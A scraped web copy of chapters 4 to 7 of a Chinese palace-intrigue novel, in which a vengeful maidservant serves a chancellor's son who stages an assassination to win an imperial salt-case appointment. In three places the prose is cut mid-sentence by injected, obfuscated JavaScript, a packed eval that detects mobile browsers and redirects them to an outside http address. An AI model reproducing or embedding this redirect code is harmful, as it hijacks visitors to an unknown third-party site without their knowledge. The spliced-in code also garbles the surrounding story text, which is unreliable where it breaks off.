季窈虽不善此道，但对其中规则一应熟知，定神看过两场便明白过来，梁趡在抢鞠时屡次擦撞、生截，不计后果，甚至夹带阴招……属实是颇为急功近利的蹴法。 即便有些不分轻重，也没有遵循陛下“戒争斗”的忠告，好歹仍在规线之内，算不得失律。 三场罢，锣声敲响，以示暂歇。 季窈望着面前满颈细汗，正仰颌饮水的薛辞年，忍不住轻声提醒：“公子定要小心，梁二公子他……不大对劲。” 薛辞年动作微顿，低头朝她一笑：“阿婵慧眼，我知晓了，不必担心。” 说着搁下饮水的竹筒，伸手扶正她偏斜的伞，道：“若觉得累就去后面的凉亭歇息，等我赢了彩头送你。” 他看上去对于宋趡数次出阴招的事不慌也不恼，紧接着便被叫回了鞠场，季窈望着他走远的背影，心中隐隐不安。 岂料这次半场不过，梁趡反倒多行不义，不慎摔伤了腿，随意指了个侍卫顶上。 鞠场内的秩序很快合乎起常规，照理说已可以放下心来，季窈却不明缘由的，愈发觉得怪异起来。 手上这把青绢伞的伞面虽薄如蝉翼，但织造极其细密，遮住了头顶烈日，遮住了远处云径，也不时遮住人的视线。 左不过伞檐的一个晃动，目之所及稍有一错，季窈便被眼前的景象所震惊。 那顶替上来的侍卫在与梁昀青抢鞠时，袖中忽然一抹银光闪出，乘乱与梁昀青正面交锋，直直向他的心口刺去！拔刃见红！ 幸而薛辞年始终在其左右，眼明手快，一把将二人拉开距离，使梁昀青避开第二刀，自己却因顶在前面，被扎破了肩头。 此起彼伏的欢呼在此刻化作了恐慌尖叫。 梁昀青血流难止，薛辞年亦捂着伤口栽倒在地。 鞠场一片混乱。 4. 第 4 章 浮云淡薄，微风轻柔。 宫阙间，万片黄色琉璃瓦在曦光的照耀下灿烂夺目，其下的朱红宫墙厚重，时有鸦雀驻足檐脊。 婆娑树影透过一旁镂空的雕花窗桕，在安静的偏殿一隅打下斑斑点点细碎的光。 薛辞年仍在昏睡。 那把短刀上所抹的剧毒教梁昀青沾去大半，薛辞年肩头的伤口浅，中毒剂量亦不多，喂过解药后，只是一直没能苏醒过来。 梁昀青便没那么幸运了，伤至心脉，又含剧毒，寝殿内御医进进出出一夜，即是参汤续命，又是扎针救逆，于破晓时分才将将脱险。 梁趡手下的侍卫御前持器，行凶刺杀皇储，事败后咬毒自尽，其主之心昭然若揭，当即被御风司的人扣了下来。 御风司是为何处？陛下一手培植的鹰犬，权柄甚重，不隶台察，这般越过三衙行事，不顾情面之举，还是复国以来头一回，可知陛下盛怒。 如今裕王世子梁趈正跪在勤政殿外请罪，数不清第几次替他这位好阿弟善后，然而此次闹得太重，陛下迟迟不肯相见。 季窈一面想，一面为薛辞年擦拭额角的汗，他自昏迷后持续发汗，季窈寻思除却因为体内的余毒，约莫还有殿内不透风的缘故，遂搁下绢帕，起身去开窗。 支摘窗半掩，泄下一屉薄纱似的光，季窈站在窗下的黄花梨凉榻旁，忽然就明白了自己为何会觉得此处熟悉。 她忆起一件旧事。 那时是平昭二十一年，她将将十四岁，尚在明华公主身边伴读。 她是家中独女，自幼倍受疼惜，八岁因识悟开朗、性资敏慧应召入宫后，亦过得顺风顺水，只待十五及笄，方可离宫许婚。 彼时宫墙下的柳色如青烟，满园似锦繁花欲燃，明华带着她扑罢蝶，歪进帘栊里吃茶去燥。 近日宫里进进出出格外热闹，不知在置备些什么，季窈不关心，也很少问。 明华便与她闲话，称外廷正筹议设立宫学一事，欲让京中的官宦子弟、藩地的宗室贵族一并进宫，受读承教，如今这架势怕是已经筹议妥当。 她却有很多的疑问。 “为何连乔家二郎那样的纨绔都能入宫学？为何你来年就要许婚待嫁？为何连我也不能再念书？为何我们念的书与梁昀青的不相同？……” 一连串的问话砸下来，直将季窈砸的头昏脑胀，她下意识张口，想要堵住她这张絮絮不停的巧嘴，却在明华期盼又明亮的眼神里生生止住。 因为什么，任凭明华如何央求，季窈都不肯再说。 约莫半载之后，宫学设立时，明华才得知这延宕许久的消息。 那日过后的朝晨，早已忘却此事的明华，从蒙着春晖的帐幔与蔷薇花的香气中醒来，榻侧已不见季窈的身影。 她不知晓，那时的季窈正跪地圣前，膝湿于露，以进言之名，求一桩开恩：“臣女斗胆，想为女子在宫学中，争一席之地。” 殿门前最高的一节玉阶迎着白日，折射出炫目瑰丽的光，宁昌帝就站在这光后凝视她，金色的龙袍上祥云环绕、海水江崖波澜壮阔。 俄尔，他抚须笑起来，“你的提议，朕觉得极好，只是外头那帮难缠的庸臣朕可搞不定，还须你亲自与他们说。” 翠微亭的辩局，是宁昌帝为她所设的时机。 只是宁昌帝怎么也没想到，平日温吞沉静的季家女儿，这次竟言辞犀利，字字珠玑，能与一众古板固执的老臣辩驳上下，甚还更近一步，将男女同堂搬上台面。 一众老臣对这等言论闻所未闻，更是对死咬男女同堂之议的季窈表示激奋谴责，早已在不知觉间对女子入宫学一事让步，没料得在宁昌帝的推波助澜下，最后赔了夫人又折兵。 殊不知，当时尚且年少，未经挫折的季窈，在被这群老臣指着鼻子轮番训责，又不明最终论断的情况下，心情低落委屈，撇开跟随身边的侍女，独自在宫中漫无目的地行走。 不合时宜的，天空飘起雨来，季窈匆忙以手遮蔽，躲进就近的宫廊底下，狼狈间，不经意一个抬眸，望见宫院里高坐树端的玉兰花被催进泥地，宛如雪涛落玉。 她忽然想起，玉兰是花期短促的花，一旦遇风雨，又易香消玉殒，零落成泥。 或许是抚景伤情，又或许是今日种种太过不顺，积攒的委屈在此刻临界，季窈倏尔就掉下泪来。 廊外春雨潇潇，四下安静无人，空荡的宫廊中唯有她压低的，时而隐抑不住的抽泣声。 忽而，身侧半掩的支摘窗内飘出一道懒倦的声音，似是因她的泣声而肇醒。 “不是做的挺好的，哭什么？” 她惊了一跳，止了声，问他是何人。 窗内人影微动，她隔着窗支开的一道缝隙，看到一角绯红的肩袖，上面以金线绣织灵动的锦鲤纹，在窗外的天光下熠熠生辉。 少年笑了一声，声音隔着雕花窗桕，和着潺潺雨声，听着有些不真切：“老天派来指引你的神人，它让我转告你，你所求之事，必能得愿。” 季窈知道此人是在安慰自己，吸了下鼻子，轻声道：“多谢你。” “你不信？”他却好似格外笃定，“你若不成，我便赠你枝不会枯的玉兰作为赔礼，若成了——” 他说着一顿，“若成了，我也送你，权当恭贺了，如何？” 季窈不知该哭还是该笑，心想天底下怎会有这样傻的人，做一桩赔本的买卖，来哄一个不相干的人高兴。 “莫哭了……”她听到少年无奈轻叹。 可惜，季窈没来得及回少年的话，侍女匆匆寻到了她，身侧的窗应声叩下，她仓促随着侍女离去。 后来她心中所求当真如愿，可那少年却再没有出现，当初的应诺也不了了之。 季窈执念般想要寻到那少年，特意打听过才知，那里的檐廊所盖之处，支摘窗内，正是齐王世子常日温书所用的偏殿。 齐王世子喜静，所居之地稍显冷僻，即便有宫人们经过也不敢高声言语，多数都要绕行，是以连她也不知此地为何地。 遗憾的是，她曾在太后寿宴上对梁昀青加以试探，梁昀青却似乎并不知与她隔窗对话一事，季窈亦能确信，那少年并不是他。 而今，她就身处这偏殿之内，隔着半掩的支摘窗，恰能望见窗外一方狭窄的光景。 然而什么都看不到。 那他又是如何认出她的？他识得她？他究竟是谁…… “想什么呢？”耳边幽幽一声。 季窈吓了一跳，猛一转身，对上少年那双潋滟如春水浟湙的眸子。 桃花的形状，眼尾微微上挑，挑起的风月被英挺的眉骨线条压下三分，配之以棱角分明的下颌，呈现出一种柔和与凌厉的矛盾，却在他的脸上相得益彰，如描似削般，说可蛊惑人心也不为过。 他不知何时醒了，无声无息来到她身后，就这样低头浅笑，好 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14923763|160403||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 整以暇盯着她的反应。 煦煦金辉透过窗牖，斜照在二人身上，过近的距离让季窈怔懵几瞬，心中迟钝的腾起无措，下意识往后退。 后腰在此时抵住榻几，偏偏薛辞年撑臂几上，错着角度去瞧，季窈便像是被他圈在怀里。 正要出声提醒，薛辞年在这时起身，一只手飞快地从她面前晃过，口中忽觉一糯。 “甜不甜？”他问。 季窈讷讷尝着，点头，明白过来，薛辞年方才的举动，是在拿榻几上的糕点。 “洛神清花糕，长晦这里独一份的，早想让你尝尝了。” 长晦是梁昀青的字。 糕点入口即化，齿关盈满清甜，季窈慢慢品味着，见他笑意鲜明，双唇却与之相悖地毫无血色，想起正事：“相爷的人如今正守在外头，说是要等着公子醒了，接公子回府。” 薛辞年摆摆手，也拿块糕点吃，懒散地靠着榻沿：“先不回，还有道旨要接。” 皆说帝王临驭宇内，心深如海，所思所想岂能由旁人轻易揣摩猜测，可薛辞年不但猜了，言辞还这般笃定，让原本还好奇他怎会知晓圣意的季窈骤然想起—— 昨日他与梁昀青单独叙话，看上去关系十分重大，恐是早已预见了蹴鞠宴上那场意外。 预见了，却未能幸免，又或者说是将计就计…… “那把刀上本没有毒。”似是为了印证她的猜想，薛辞年冒出这样一句。 季窈不禁抬头望向他。 少年神色分外坦然，带着淡淡的嘲意：“梁趡虽说与梁昀青不对付，但还没有蠢到这个地步，此番实是我二人设计，梁昀青欠我一个人情，便不得不从中斡旋这一遭，求一道旨意来报答。” 接着又听他正色道：“只是他这次，太过冒进了。” 季窈除却明了，更多的是惊异，惊异薛辞年竟敢如此毫不避讳地将其中隐秘诉之于她——恰如昨日梁昀青所言，一个曾被身边心腹背叛过的人，究竟是全身心的对她信任，还是当真率性而为？ “阿婵以为，梁趈如何？”薛辞年并不知她心中的九曲回肠，拈着清花糕偏头问她。 季窈不明白话头又为何绕到了梁趈身上，答的中规中矩：“裕王世子朴实谦逊，虚怀若谷，不失为一位好兄长。” 薛辞年沉默须臾，有所预料般：“他如今应当在陛下的勤政殿外跪着，为梁趡求情罢。” “是。”季窈应道。 薛辞年闻言轻笑一声，不以为意地道：“你说的不错，他的确是一位好兄长。” 他体内尚有余毒未清，整个人不大精神，用过午膳后支着头在凉榻上翻看游记，不一会儿就晒着光睡了过去。 季窈没有惊扰他，为他披上薄裯，悄声退出门外。 薛辞年这一睡，直睡到了余晖昏昏的晡时之际。 唤醒他的，是勤政殿内匆匆拟下的圣旨。 圣旨一路越过殿外苦等的梁趈，转过倚水的游廊，跨过彩漆的门阈，带着刚刚干透的墨香，展至睡眼惺忪，跪下接旨的薛辞年面前。 “朕承天序，缵继鸿图。至今两淮盐务积弊甚深，致民生扰攘，国课亏空，实乃朕心之忧。今有薛辞年，性行纯良，才思敏捷，有经纶济世之能，多谋善断之才，着即暂领按察使一职，速速启程南下，奔赴扬州，详查盐案之原委，恢复秩序于正轨，以安社稷、慰民心。钦此——” 扬州！季窈心头一震。 5. 第 5 章 薛辞年接手扬州盐案一事，次日便跟生了翅似的飞遍了照京南北。 天边的黎明彤云初舒，奉天殿内早朝一退，百官们手持笏板鱼贯而出，三两同行着往午门走去，也皆是在窃窃议论此事。 行在其间的御史大夫孟同山年过半百，为人峭直，说话自来刻薄，不赞同地道：“谁人不知那薛家小子不遵先业，游荡好闲，这扬州盐案牵扯甚深甚广，多少有能耐的官员都无功而返，让他担此大任？陛下也跟着胡闹不成！” “孟老慎言。”在旁的礼部尚书先是低声提醒，随即附和：“薛辞年确实不济，但陛下既有此决断……或许是此子当真有什么过人之处……” “赵尚书倒是抬举他了，他能有什么过人之处？若硬要往头上扣，便是在刺枪使棒上有几分能耐罢了！”孟同山鄙夷否认。 二人说着，不约而同顿住脚步，与前头背手回身，双眼如炬的薛显对上视线。 孟同山见此，面上毫无心虚之色，一幅不愿多说的模样：“薛相，你也休怪我恶语伤人，你那儿子，实在是不争气！” 薛显无声讽笑，弹了弹衣袖上并不存在的灰尘，慢条斯理道：“再如何不争气，如今也是陛下钦点的按察官，哪里轮得到你这区区臣子来置喙。” “就事论事而已。”孟同山半步不让，“本官是言官，在陛下面前从来都要多说几句，更何况此事开诚布公，莫说照京，便是扬州也很快要得了消息，还能拦得住哪张嘴议论了哪个官员配不配位不成？还是薛丞相自知令郎胜任有亏，试图以一己之力堵住攸攸之口？” 他这边两眼一闭，谁也不管，上下嘴皮子翻飞就是大段大段的辩论之言，薛显愈听，捏着笏板的手就攥得愈紧，隐忍片刻，忽然便笑出了声。 他神情放松不少，甚还有闲心踱起步来，悠悠开口：“再如何，我们家辞年也是品行端正的好孩子，孟御史家的那位二郎君，本相都不愿说，一介小小的昭武副尉，竟在巡捕途中公然强抢民女，真是世风日下——如今一纸御状告到了陛下案前，怕是……要在府中等着被革职论罪吧？” 孟同山确要被这番话戳得吐血，两只眼睛瞪得铜铃一般，一把老骨头“噌”就到了跟前，手上发着狠去扯薛显的官帽，口中道：“我让你多嘴！让你多嘴！” 薛显哪里肯落了下风，一把扽住孟同山的髯须，不忘刺激他：“怎么，说中孟老的心事了？” 两个朝中重臣当众撕扯起来，旁遭的人先是有些不可置信，随即拦的拦，劝的劝，好歹把二人分将开来。 孟同山上了年纪，几番大动作累的连连喘气，颤抖着手指了薛显半晌，恼羞成怒道地放出狠话：“本官就在照京等着！等着看那不成器的薛辞年，是如何铩羽而归的！” 薛显早已拂袖转身，“孟老费心。” 奉天殿外的乱况，身处相府之内的薛辞年毫不知情，此时的他正立在阶前一株极青丽的珠兰旁，望着随行的箱笼一担担抬出门去，以备明日启程。 待抬净了，转身欲要回屋之际，面色忽然一变，急忙伸手撑住近旁的寻杖阑干，感受着朱梁黛瓦在眼前转。 体内余毒未清，极易致病情迁延不愈……是今日离宫前御医对他的劝告。 扭曲模糊的视线里，由远及近显现出一双清涟漪漪的笑眼，他缓解着，也扯出抹笑来：“何故这样高兴？” 季窈听闻此话，笑靥微凝，暗道自己太过得意忘了形，以至轻易让人发现了端倪。她神情闪烁着避开少年的眼睛，便不曾发觉他的异样。 “奴婢曾听人说，天下三分明月夜，二分无赖是扬州。奴婢从未去过扬州，不知那里的风姿，有幸承公子之光，总算能亲眼去看看，这天下明月的三分光华，是否真的让扬州占去了两分。”她低着头，细细解释。 短短几句话的时间，已足够薛辞年将情态恢复如常，他了然地点点头，应答道：“原是如此，这有何难？待到了扬州……” 说话间眸光轻转，声音缓缓顿住。 季窈顺着他所看的方向回头，便见薛显正大步流星朝这处走来。 他想是方才下朝，身上的红色官服还未来得及换，平日本就冷肃的一张脸更加正颜厉色，朝薛辞年发话：“你随我来。” “有什么事便在这里说罢。”薛辞年动也不动，抬抬下颌，示意他朝院中成堆的箱笼上看，颇有几分无赖的语气：“尚还得费些功夫呢。” 薛显不看还好，一看便忍不住了：“你是南下去办差，又非远游，何需如此多的行装？” 薛辞年反问：“既是迢迢南下，又如何算不得远游？” 薛显教这话问的梗住，到底懒得与他争辩，缓了口气，说起正事：“你既接了这旨意，想必已清楚其中利害。” 他拧眉瞥着薛辞年，似是感慨，“宦海初行即是重任加身，不知对你而言，是幸，还是不幸。一条悬在刀锋上的终南捷径，倘使走的下来，风举云摇不过翻手之间，倘使折在半途——” 他适时一顿，道：“无复归焉。” “所以薛辞年，此番一去，我不论你是当真心存高远，还是肆为儿戏，薛家的荣华若因你蒙尘半分，都断然不允许。” “往后风刀霜剑，此路既启，必至尽头而方休！” 父子二人似乎不善交流，薛显说完最后一句，深深看了薛辞年一眼，未等他的回话，便与他擦肩。 薛辞年自始至终没什么反应，毫无所谓般站在原地，听着身后的脚步越走越远，犹自嗤笑出声：“还用你说。” * 黑沉沉的夜不见月辉，背后漆红的直棂门内烛光黯淡，唯有廊前悬挂的绢纱灯随风舞影。 季窈端着空药碗自房门前回身，侧目远看，见院外六角亭层层叠叠的檐口下，幽立着一抹高大身影。 此情此景，换上任何一个人都要觉得悚然，季窈却并不觉得意外，反而平静注视着那处，借着浓重夜色遮盖眼底的情绪。 未几，她步下台阶，没有往庖厨的方向行去，而是直出院门，至六角亭外，垂首行礼：“相爷。” “用了药，歇下了？”薛显的面目陷在晦暗不明的夜色里，让人看不明晰。 “是。”季窈自然知道在问谁。 一言一答，薛显隔了好久没有说话，半晌才似妥协般：“跅弛惯了的性子，且由他去罢。” 季窈犹疑片刻，仍是开了口，看上去是在为薛辞年辩解：“相爷，这道旨意，实为公子汲汲所求，不是胡闹。” 薛显白日里言语间几分敲打，显然已经猜到个中原委，从鼻腔发出一声冷哼：“他如今翅膀硬了，好大的能耐，私自便替我薛家择了往后的路！” “公子并非无能之辈，相爷是严父，口中再如何鄙弃，心中想必也是相信他的。”少女说话时轻细委婉，不卑不亢，既点出了薛家父子的关系，又暗指了缓和之道。 薛显不禁多看了她两眼，回想几番：“你叫……阿婵？” 季窈入府三月有余，与这位诛灭全家的罪魁祸首碰面次数寥寥无几，唯有一次印象深刻的，是在她初来乍到时的一场春宴上。 那时她因落了物甚折返席间，却见桌案四处都已被清扫，焦头烂额寻找之际，正撞上相府的仆从手忙脚乱搀着薛显离席。 认出她是薛辞年身边的侍婢，仆从急急叫住她，“相爷醉了！快去灶房端一碗醒酒汤来！”

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14923764|160403||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 季窈停下脚步，看了眼神志不清的薛显，低声应诺，掉头便拆了袖中装有毒药的纸包。 未曾想，灶房内的汤底火候未到，她便失了手。 “玉石俱焚，可不是什么明智之举。” 有人抓住她的腕，引着她持毒的手远离了灶台。 来者是个粗布裙裳的庖妇，虽以布巾遮了半张脸，却看得出目若晨宿，眉末藏锋，举手投足间透着股匪气，必不是寻常妇人。 事已至此，犹如破甑，季窈反倒没有太多顾虑，“若能手刃仇敌，玉石俱焚又如何？” 疱妇却将一只木符牌拋到桌上，直接了当地问：“为季家报仇，你是什么人？” 上面明晃晃一个“乔”字，乃是乔良身死之夜留下的唯一物件。 季窈眸光波动，因方才自己的冒进而生了悔意，敛下声音：“无所从来，不值一提。” 疱妇亦不深究，将木符牌推还给她，“拿好你的东西，低头重新看一看你脚下的路，莫再入了死门。” 她的声音犹在耳畔：“想拿薛显的血祭候府满门，如今还太早。” 还太早。 销磨不得的恨意，如焚如燎的心绪，在这一句句的警醒中平息成海，最终化作裹着暗流与巨浪的温驯。 季窈垂着眸，纠正道：“夫人为奴婢赐名阿檀。” 薛显应了一句，不大在意的样子，声音沉下去，像是自语：“薛家的荣耀他不稀罕，偏为自己挑了一条峭如山巅的险绝之路……急功近利之举，只盼他不会行差踏错。” 灯影绰绰，忽明忽暗，远处蝉鸣如泣，亭下的长草间虫吟起伏，时而夹杂络丝娘的振羽轻响。 “那相爷您呢？”季窈忽然出声，“如若您行差踏错，该当如何？” 季窈感觉到薛显的目光倏尔转向她，直直地，如利剑般刺在她的头顶，似是因她的逾越而不虞。 少女不偏不倚抬头仰视他，带着种愚昧的天真与无畏，薛显莫名从中觉出股似曾相识的悲凉来，罕见的没有心生厌恶。 他将目光放轻，放软，最终收回，“本相也曾经做错过事、行错过路，只是……” 薛显不知为何要回她的话，堪堪收住了，转而道：“人之一生踪迹沉浮，心之所求不过一二，不必处处跼高蹐厚，可记住了？” 夏蝉嘶鸣的更加厉害，虫吟相和，轩窗外飞蛾扑撞，一下一下，撞在屋内之人回禀的字句上。 “属下无能，当年从季家搜出通敌信证的侍卫，前两天本已摸到行迹，今日赶到时，人却已经溺死在大江中了，据说是出行时失足落水，无人发现……” 薛辞年指尖闲闲把玩一枚玉坠，末糖色的玉沁，上雕一尾鱼，鱼身旁伴荷叶，在金色的火光下栩栩如生，“还真是阴魂不散。” 烛光不住跳动，点缀在少年如墨的鬓发，垂眸含笑间，映得他昳丽的眉眼格外温柔，若要仔细瞧去，才能发现其间的冷漠之色。 “不必查了。”他道。 “是……？”雨师及时反应过来，以为是自家主子说错了，提醒道：“不必查？” 少年桃花眸微弯，“既然背后之人不愿让我们查，我们又何必多费周折？我瞧着，这频繁出招的对手，倒比此事好查得多。” 雨师眼睛一亮，“主子英明！属下这就去安排一场引蛇出洞的好戏！” 说罢昂昂出门去。 门枢合动间，忽听得“噗”一声，案上微弱的灯烛被风吹灭，四周隐没在一片黑暗中。 少年面上笑意尽敛，随意地倚靠椅背，窗外晃动的灯影不时从他的面容掠过，斑驳的光泽好似琥珀。 他静静的，不知在想什么。 6. 第 6 章 当照京尚为新上任的按察官众说纷纭时，其本人已半刻不停地启程，自火旗焰焰的中州之地，一头扎进了水汽氤氲的青荷碧影中。 两淮漕司史孙知远立在渡口翘首以盼，然而并没有等来传闻中那位不堪大任的按察官，反而是位弱质芊芊的姑娘下了船。 那姑娘看上去虽年少，气度却从容，上来先自报家门：“孙大人久等，奴婢阿檀，特奉按察使之命，到此渡口来与大人会合。” 迎等在前的孙知远及一众下属官员俱是一噎，望着远处帆橘如云的江面，凌乱在风中。 倒是身旁的小厮当先张了口：“那、那如今按察使大人身在何处啊？” 姑娘闻言浅浅笑开，平凡的相貌因波光盈盈的一双瞳仁明亮起来，“我家公子广结益友，昨日与临船一侠客见面如故，特在半途换船，彻夜相叙，是以未曾赶到。” “好在两淮之地水陆交织，四方往来如履平地，今夜的接风宴，按察使定然如期赶至，不会失约。” 嗓音清的像身后柔润水波，神色亦是说不出的软和，语气却未见半分歉意，临到最后，不轻不重补上一句：“大人见谅。” 背后的官员无不磨起了槽牙，暗嗤这小子后生果真如传言般嚣狂，摆出这般大的架子，也不怕哪日阴沟翻船，爬都爬不出来。 一旁身着月白纻丝直裰的幕僚出言道：“公子王孙意气骄，不论相识也相邀。按察使大人少年洒脱，不拘一格，令我等甘拜下风。” 他一张文人嘴话带机锋，即是公子王孙，又道大人官吏，一番夸词看似钦慕，实则暗讽薛辞年旷官怠政，不谋其事。 季窈观他年青，面孔又隐隐透出几分熟悉，心中不免揣度其身份，到底不好发问，知薛辞年扣不起这样大的帽子，遂道： “照京于扬州千里之遥，陛下所定的到任之期尚有五日，告身敕牒今夜便可照验，原不想早早惊动了诸位大人，不曾想还是走漏了风声。” 这侍女一张口便搬出陛下这尊大佛，惊得一干官员缄口结舌，无人再敢接她的话。 孙知远见状适时出来打圆场，“盐政一案事关重大，说来是我等心急，对路远跋涉的小薛大人而言确有些苛责了。” 他侧目示意身后的小厮，“府上已为小薛大人备好了厢房，姑娘不妨先去安置。” “多谢大人好意。”季窈欠身行礼，“外老太爷在扬州为公子留有一处宅邸，已有了安身之所，便到不府上过多叨扰了。” 众人闻言恍然想起，薛辞年的母亲乃是昔日帝师，三朝元老姜景章的爱女。姜家纵是因着前朝改换短暂没落，正朔复归后，仍旧靠着忠心及与薛氏的联姻重新起势，族中子弟再度自扬州出任，在朝中占得一席之地。 不禁暗啮这小子所恃者厚，还当着是个招惹不起的主。 季窈自然能感受得到这份恶意，实则她也不明白薛辞年为何要如此张显行事，却唯有按着他的吩咐去做。 临走前没忍住回望一眼，恰与那文人幕僚对上视线。 原先的那点子猜疑愈加笃定，此行的顺利让她的心情如身后翻涌的江水，层层地在她的胸膛鼓动起来。 到了夜宴满座时，渐渐转成了不安，事因季窈并未在宴上见到那幕僚的身影。 她不由得质疑自己是否有所料误，毕竟乔家的大公子，在平昭九年时便考中童子科甲首，由陛下赐进士出身，后入鉴泉书院从师著名大儒屏阑先生，久不归京。 季窈当时将至始龀，庆宴之上匆匆一见，一个懵懂幼女，一个半大少年，十年光阴之久，貌改颜换，哪里还能记得如今是何模样？ “按察使不是传话说酉时便可入席，这都戌时了，怎生还未到？” 不满的催促声拉回季窈的神思，她向大展的堂门外望去，外面已然黑透，廊前悬挂的纱圆灯照亮空荡荡的一隅天地，丝毫不似有人要来的迹象。 季窈不知薛辞年究竟卖的什么关子，只得耐着性子安抚，“诸位大人莫急……” 话未说尽，便听门外朗笑声近，少年一脚踏进门内，扬声道：“本官来晚了，先自罚三杯！” 他穿一身甘草黄的窄袖骑装，金钑花带掐腰，高束的马尾下明珠摇晃，身后还背着把金线乌弰弓，俨然方才纵过马的纨绔模样。 方才就流露不满的同知州见此更是火大，仗着有几分年纪，又实在看不惯这后辈的荒唐行径，叱责道：“小薛大人，我们在此干等你了一个时辰！你竟跑去骑马射箭？这算什么道理？” 薛辞年眉眼间笑意不减，双唇因适才急饮而红润且泛着水泽，不甚在意道：“是我的疏忽，那便再罚三杯。” 与其说是罚，倒不如说他太需消渴，仰头又灌三杯，迎来四座一片叫好。 孙知远亦毫不吝啬地赞道：“小薛大人少年侠气，是我等华发渐生之人所不能及，想必此次南下定不负陛下所托！” “那是自然。”薛辞年就势落座，全无谦逊之色。 说话间堂外姗姗行来一人，这少年进来先是拱手致歉，而后同薛辞年一样自罚酒喝，孙知远则称无碍，唤他“泊霖”，招呼着让他入席。 季窈和薛辞年在看到那张熟悉的脸时，不约而同错了神。 “这是我手下长史，乔明韬的亲阿弟，前司户参军……”孙知远兀自介绍着，说到此处一顿，觉察到不可再继续，随即打住。 前司户参军乔良，原在照京任户部侍 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14923765|160403||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 郎一职，平昭十七年因职务之疏枉害十数口人的性命，被贬为淮南路转运司这一幕职官。 同年秋，乔良自扬州远赴照京，一路遁迹潜形，最终死在顺安候府。 乔良的死成为一个谜团，无人知他为何会秘密入京，也无人知当夜的顺安候府内到底发生了什么。 总之，乔良与顺安候季璋的名字，成为了就连当今圣人都讳莫如深的存在。 孙知远转而说起其他，“若本官记得不错，泊霖与小薛大人同岁，皆是三年前首批入宫学的门生，当是旧相识罢？” 薛辞年抚着酒盏尚未开口，乔泊霖已撩袍起身，朝着薛辞年规规矩矩行揖礼，恭敬道：“草民见过按察使大人。” 在场的人俱是诧异，薛辞年跟着怔了一瞬，面色平静地应他：“不必多礼。” 宴席如常进行，行菜的僮仆往来穿梭，宾客们高谈互和，季窈于觥筹交错间将眼光投往乔泊霖。 乔家之人，不论从谁的身上寻求真相，想来都无什么分别。 宴至半酣，乔泊霖量浅难支，出厅解酲去了。 季窈时加留意着他的动向，等了半刻，同薛辞年说要离席透气，循着方向追了出去。 时值酷夏，扬州之地入眼即是绿色，竹深、树密、虫鸣，明亮的月华教错杂枝叶一遮，四遭变得阴谙谙的。 绕过荷塘碧色，踏过彩莲袅袅，来回几番找寻，季窈总是望见了那道身影。 她飞快矮身，钻入一片翠竹中穿行，往倚在竹林外的斜径上疾步走去，那是乔泊霖回到宴席的必经之路。 顺利的是，季窈在乔泊霖到来前走出了竹林，不顺的是，这道卵石径坎窞相错，她将将迈出一步，便被脚下石子一绊，身子不稳着往地上跌去。 乔泊霖才一转弯便与失足的季窈撞个正着，吓得酒意飞了一半，连退数步看清如何回事后，紧忙问：“姑娘，你没事吧？” 季窈撑着身忍痛抬眼，此时撤去了银灯、彩辉，只隔着胧明月色，她打眼一瞧，忽然发现乔泊霖变了许多。 少了眉宇间的轻佻与浮躁，取而代之的是一种近乎要褪去少年气的沉静，乔家的倾覆，迫使生于锦绣堆的少年拔节成长。 只是他终究喝的有些醉了，头脑不大清醒，朝季窈伸出手，结结巴巴道：“我、我扶你起来。” 季窈恍惚，定定望着他的手掌，竟被这似曾相识的一幕惹得想要发笑。 她难得觉得感慨，又不由得去想他如今这般糊涂，还不知能不能与人正常对答，又或者可否趁机套出些话来…… 想着，慢慢抬起手，欲往下放。 即要触及之时，斜刺里忽地探出一只手，稳稳拖住她的小臂。 7. 第 7 章 月光从浓密的竹林一丝一缕地透过来，清风吹过，疏疏落落的竹影在三人身上晃。 乔泊霖的酒已全醒了。 臂上的指掌轻轻收拢，缓慢而平稳地将季窈扶起来，而后此人不动声色上前，侧身隔在二人之间。 “子澍，你醉了。”他语调淡淡，眼底却流露出久违的笑意。 “扶光。”乔泊霖唤他，声音很轻。 薛辞年略一点头，盯着他默了片刻，只是道：“你酒量不好，以后莫再这样喝。” “扶光所言极是。” 两个人的对话，生分的像是这竹林荷池里无意投下的石子，波澜微起的一点涟漪，转瞬便消散了个干净。 席散了，乔泊霖以接应转运使为由先行离开，薛辞年转过身，背后的树影华光流转，变做水墨晕染他的面容，他道：“走吧。” 季窈亦步亦趋跟在他身后，未过十丈，他倏而止了步子，“受伤了？” 季窈撑持着半边身子，“只是磕到了踝骨，缓一缓便好，不妨事。” 哪知薛辞年径自在她身前蹲下，反臂向她招手，示意到他的背上来。 “公子千金贵体，万万不可！”季窈惊愕不已。 薛辞年不为所动，略微偏头。 